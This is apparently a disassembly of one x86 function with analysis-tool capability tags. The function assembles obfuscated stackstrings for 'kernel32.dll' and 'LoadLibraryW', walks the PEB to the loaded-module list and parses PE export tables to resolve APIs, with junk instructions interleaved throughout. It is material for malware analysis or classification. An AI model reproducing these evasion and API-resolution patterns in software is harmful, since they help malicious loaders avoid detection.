Function at 0x50edee
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add byte [eax], al
add byte [eax], al
push eax
dec esi
aas
dec edi
xor eax, dword [esi + 0x44]
dec edx
dec ecx
add esp, 4
jmp 0x50e8d6
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
push eax
add esp, 4
add ecx, 0x3538
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0xfa07
pop ecx
push esi
xor esi, 0x4f10
or esi, 0xc162
or esi, 0x13f84
or esi, 0x508e
pop esi
push ebx
sub ebx, 0x122fb
jmp 0x50e9b2
pop ebx
push edi
add edi, 0x12d7a
call 0x50e9ca
add byte [edi], bh
cmp byte [ebx + 0x4a], al
dec edx
inc esi
aaa
dec ebp
dec ebp
add esp, 4
xor edi, 0x159d5
pop ecx
add dword [eax], eax
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
push esi
add esp, 4
sub edi, 0x161
or edi, 0x8c42
sub edi, 0x8a9f
pop edi
push edi
push edi
add esp, 4
or edi, 0x11ea3
xor edi, 0x12095
pop edi
push edi
and edi, 0x15437
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x50ea46
mov dword [ebp - 0x2e0], 0
jmp 0x50ed02
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
push esi
add esp, 4
and ecx, 0xeeb6
xor ecx, 0x5772
xor ecx, 0x6da
pop ecx
push edx
call 0x50ea7e
add byte [eax + 0x40], cl
inc edx
inc esi
aaa
cmp al, 0x35
add esp, 4
pop edx
push edx
and edx, 0x16905
pop edx
cmp dword [ebp - 0xc20], 0
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp 0x50ed02
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
push edx
add esp, 4
or edi, 0x2410
or edi, 0xa265
add edi, 0xcf10
pop edi
push ebx
or ebx, 0x8062
add ebx, 0x1654b
add ebx, 0x9b47
and ebx, 0xa92b
pop ebx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ecx
push edx
add esp, 4
call 0x50eb22
add byte [ebp + 0x4f], cl
dec ebp
aas
dec edx
inc ebx
inc edx
aaa
inc ecx
inc ebx
add esp, 4
jmp 0x50eb2c
pop ecx
push esi
call 0x50eb3b
add byte [ebx + 0x42], al
dec ebp
xor al, 0x50
aaa
dec edi
add esp, 4
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
xor esi, 0x6d50
and esi, 0xc846
pop esi
push edx
push ebx
add esp, 4
sub edx, 0x17ad0
pop edx
push esi
add esi, 0x14aef
call 0x50ebc7
add byte [ecx], bh
inc edi
dec edx
inc edi
inc ebp
aaa
cmp eax, dword [ebx + 0xf5e04c4]
mov bh, 0x95
add bh, bh
invalid
push edi
push edx
add esp, 4
jmp 0x50ed0e
call 0x50ed1d
add byte [ecx + 0x48], cl
dec edi
inc ebp
dec edx
cmp byte [esi + eax*2], dh
xor al, byte [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
inc esi
xor ecx, dword [eax + 0x42]
inc edi
inc eax
cmp dword [edx], edi
cmp eax, 0x5f04c483
cmp dword [ebp - 0x2e0], 0
jne 0x50f64d
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
push ecx
add esp, 4
call 0x50edee
add byte [eax + 0x35], cl
xor dl, byte [eax + 0x34]
inc edx
xor al, 0x37
dec ebx
add esp, 4
xor edi, 0x6945
pop edi
push eax
sub eax, 0x16c5b
and eax, 0x107ce
xor eax, 0xcb66
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
push ebx
add esp, 4
call 0x50eea2
add byte [eax], bh
xor bh, byte [edx]
cmp eax, 0x4146343c
inc esp
add esp, 4
xor edx, 0x1669a
add edx, 0x10a49
or edx, 0x151e4
pop edx
push edi
xor edi, 0xe315
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x50eed8
mov dword [ebp - 0x6ec], 0
jmp 0x50f194
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
call 0x50eefb
add byte [edi + 0x46], al
dec ebx
dec esp
dec esi
cmp byte [ebp + 0x41], cl
dec ebx
add esp, 4
call 0x50ef0c
add byte [ecx + 0x35], cl
cmp cl, byte [ecx + 0x49]
xor al, 0x41
cmp eax, 0x8104c483
invalid
push edi
push ecx
add esp, 4
sub edi, 0x12dce
add edi, 0xc507
add edi, 0x3603
pop edi
push esi
and esi, 0x14f36
xor esi, 0x5b0f
xor esi, 0xa05b
xor esi, 0x9202
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x50f210
push ecx
push ecx
add esp, 4
and ecx, 0x127ce
jmp 0x50f1e2
pop ecx
push esi
push esi
add esp, 4
sub esi, 0x61c7
pop esi
push edx
push eax
add esp, 4
sub edx, 0x16a85
sub edx, 0x17ad2
pop edx
mov dword [ebp - 0x738], 0
jmp 0x50fd37
push ecx
push edx
add esp, 4
xor ecx, 0xffa7
sub ecx, 0x12ebd
or ecx, 0xeb01
pop ecx
push eax
and eax, 0x1755
sub eax, 0x5764
pop eax
push eax
push eax
add esp, 4
and eax, 0x118ed
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x50f281
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50f572
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x50f2a9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50f572
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x50f2db
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x50f572
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x50f300
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x50f572
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x50f35a